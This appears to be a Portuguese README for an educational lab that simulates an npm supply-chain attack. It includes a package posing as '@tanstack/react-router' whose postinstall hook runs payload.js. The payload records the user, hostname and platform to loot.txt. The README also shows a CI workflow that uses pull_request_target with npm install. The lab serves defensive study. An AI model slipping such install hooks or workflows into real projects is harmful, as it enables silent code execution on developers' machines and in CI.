
Laboratório educacional simulando ataques à cadeia de suprimentos do npm, abuso de CI/CD e execução de código no momento da instalação via CVE-2026-45321. Pesquisa prática de segurança defensiva para entender o comprometimento de dependências e a exploração de hooks de ciclo de vida.
Laboratório Educacional para Entender Ataques à Cadeia de Suprimentos npm, Abuso de CI/CD e Execução de Código no Momento da Instalação
Este projeto foi criado apenas para:
Não use este projeto para:
Este laboratório simula o conceito básico dos incidentes:
A simulação é feita localmente e de forma segura, sem:
lab/
├── fake-repo/ # Simulação do repositório alvo
├── attacker-package/ # Simulação do pacote malicioso
└── victim-project/ # Simulação da vítima
Attacker Package
↓
npm install
↓
script postinstall é executado
↓
payload.js é executado automaticamente
↓
Vítima sofre execução no momento da instalação
git clone https://github.com/renewablehacking/CVE-2026-45321-Tanstack.git
cd CVE-2026-45321-Tanstack
cd attacker-package
npm install
npm pack
Resultado:
tanstack-react-router-1.169.5.tgz
cd ../victim-project
npm install ../attacker-package/tanstack-react-router-1.169.5.tgz --foreground-scripts
Se bem-sucedido, a seguinte mensagem aparecerá:
=== MALICIOUS PAYLOAD EXECUTED ===
e o arquivo:
loot.txt
será criado automaticamente.
const os = require('os');
const fs = require('fs');
console.log("=== MALICIOUS PAYLOAD EXECUTED ===");
const info = `
USER=${process.env.USER}
HOST=${os.hostname()}
PLATFORM=${os.platform()}
`;
console.log(info);
fs.writeFileSync("loot.txt", info);
{
"name": "@tanstack/react-router",
"version": "1.169.5",
"scripts": {
"postinstall": "node payload.js"
}
}
Este projeto também pode ser usado para entender:
Exemplo de workflow:
name: CI
on:
pull_request_target:
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: npm install
| Simulação no Laboratório | Mundo Real |
|---|---|
| attacker-package | pacote TanStack comprometido |
| payload.js | instalador malicioso |
Este laboratório foi criado para aumentar a conscientização sobre:
| postinstall | abuso de hook do ciclo de vida |
| victim-project | desenvolvedor/CI vítima |
| fake-repo | pipeline GitHub Actions |